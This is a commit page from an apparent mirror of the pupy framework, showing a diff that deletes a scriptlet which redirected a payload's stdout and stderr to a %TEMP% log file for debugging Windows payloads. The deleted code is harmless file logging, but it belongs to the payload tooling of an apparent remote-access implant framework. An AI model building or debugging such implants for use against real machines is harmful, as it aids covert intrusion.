mirror of https://github.com/n1nj4sec/pupy.git
logging should be used instead of stdout_to_file scriptlet
This commit is contained in:
parent
1ac5f4c205
commit
e3f3606f18
|
@ -1,37 +0,0 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||
import textwrap
|
||||
from scriptlets import Scriptlet
|
||||
|
||||
class ScriptletGenerator(Scriptlet):
|
||||
""" redirect stdout to a file to debug windows payloads """
|
||||
|
||||
dependencies=[]
|
||||
arguments={
|
||||
'path': 'path to debug file. default %TEMP%\\pupy.log'
|
||||
}
|
||||
|
||||
def __init__(self, path="%TEMP%\\pupy.log"):
|
||||
self.path=path
|
||||
|
||||
def generate(self, os):
|
||||
return textwrap.dedent("""
|
||||
import sys, os.path
|
||||
class RedirToFile(object):
|
||||
def __init__(self, path):
|
||||
self.path=path
|
||||
softspace = 0
|
||||
def read(self):
|
||||
pass
|
||||
def write(self, text):
|
||||
with open(self.path, 'a') as f:
|
||||
f.write(text)
|
||||
def flush(self):
|
||||
pass
|
||||
path=os.path.expandvars({})
|
||||
sys.stdout = RedirToFile(path)
|
||||
sys.stderr = RedirToFile(path)
|
||||
|
||||
""".format(repr(self.path)))
|
Loading…
Reference in New Issue